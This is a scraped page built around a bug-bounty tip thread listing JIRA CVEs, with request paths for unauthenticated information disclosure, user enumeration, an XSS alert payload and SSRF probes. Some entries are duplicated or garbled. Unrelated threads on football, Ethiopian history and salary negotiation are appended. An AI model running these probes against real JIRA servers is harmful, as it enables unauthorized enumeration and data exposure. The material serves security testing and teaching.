#Learn365 Day-4: Unauthenticated & Exploitable JIRA Vulnerabilities

There are multiple security vulnerabilities associated with the various versions of JIRA software which are exploited in wild and is one of my personal favourite 3rd Party apps to hunt.

#BugBountyTips

(1/n)

(2/n)
1. CVE-2020-14179 (Information Disclosure)
a. Navigate to /secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to /secure/ViewUserHover.jspa?username=
(3/n)
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to /browse.
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.
(4/n)
4. CVE-2019-3402 (XSS)
a. Navigate to /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5. CVE-2019-11581 (SSTI)
a. Navigate to /secure/ContactAdministrators!default.jspa
(5/n)
6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]
8. CVE-2019-8451 (SSRF)
a. Navigate to /plugins/servlet/gadgets/makeRequest?url=https://:[email protected]
(6/n)
9. CVE-2019-8449 (User Information Disclosure)
a. Navigate to /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
b. Observe that the user related information will be available.
(7/n)
10. CVE-2019-3403 (User Enumeration)
a. Navigate to /rest/api/2/user/picker?query=
b. Observe the difference in response when valid vs. invalid user is queried.
(8/n)

11. CVE-2019-8442 (Sensitive Information Disclosure)

a. Navigate to /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
b. Observe that the pom.xml file is accessible.
(n/n)
Tools: Nuclei Template can be used to automate most of these CVEs Detection.
H1 Reports:
- https://t.co/AaXKHt4NZZ
- https://t.co/hNrzpDgB5A
Blogs:
- https://t.co/ZMVc80vrYQ

More from Software

buffalo uses dominion scoreboard software so not really


DEAD PEOPLE SCORED FOR BUFFALO!

A truck delivered off a suitcase full of points at halftime from Canada for Buffalo.

#StopTheSteel !!!!

I’ll be submitting sworn affidavits from Steelers fans than they saw the Buffalo rigging the game but I want to emphasize that I’m not under oath.

You May Also Like

I'm going to do two history threads on Ethiopia, one on its ancient history, one on its modern story (1800 to today). 🇪🇹

I'll begin with the ancient history ... and it goes way back. Because modern humans - and before that, the ancestors of humans - almost certainly originated in Ethiopia. 🇪🇹 (sub-thread):


The first likely historical reference to Ethiopia is ancient Egyptian records of trade expeditions to the "Land of Punt" in search of gold, ebony, ivory, incense, and wild animals, starting in c 2500 BC 🇪🇹


Ethiopians themselves believe that the Queen of Sheba, who visited Israel's King Solomon in the Bible (c 950 BC), came from Ethiopia (not Yemen, as others believe). Here she is meeting Solomon in a stain-glassed window in Addis Ababa's Holy Trinity Church. 🇪🇹


References to the Queen of Sheba are everywhere in Ethiopia. The national airline's frequent flier miles are even called "ShebaMiles". 🇪🇹
“We don’t negotiate salaries” is a negotiation tactic.

Always. No, your company is not an exception.

A tactic I don’t appreciate at all because of how unfairly it penalizes low-leverage, junior employees, and those loyal enough not to question it, but that’s negotiation for you after all. Weaponized information asymmetry.

Listen to Aditya


And by the way, you should never be worried that an offer would be withdrawn if you politely negotiate.

I have seen this happen *extremely* rarely, mostly to women, and anyway is a giant red flag. It suggests you probably didn’t want to work there.

You wish there was no negotiating so it would all be more fair? I feel you, but it’s not happening.

Instead, negotiate hard, use your privilege, and then go and share numbers with your underrepresented and underpaid colleagues. […]